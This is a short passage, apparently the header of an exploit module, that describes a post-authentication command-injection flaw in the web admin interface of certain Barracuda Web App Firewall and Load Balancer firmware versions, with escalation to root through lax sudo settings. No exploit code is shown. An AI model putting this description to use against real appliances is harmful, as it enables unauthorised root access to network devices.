'Name' => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Web App Firewall Firmware Version <= 8.0.1.007 and Load Balancer Firmware <= v5.4.0.004
by exploiting a vulnerability in the web administration interface. By sending a specially crafted request
it's possible to inject system commands while escalating to root do to relaxed sudo configurations on the applianaces.
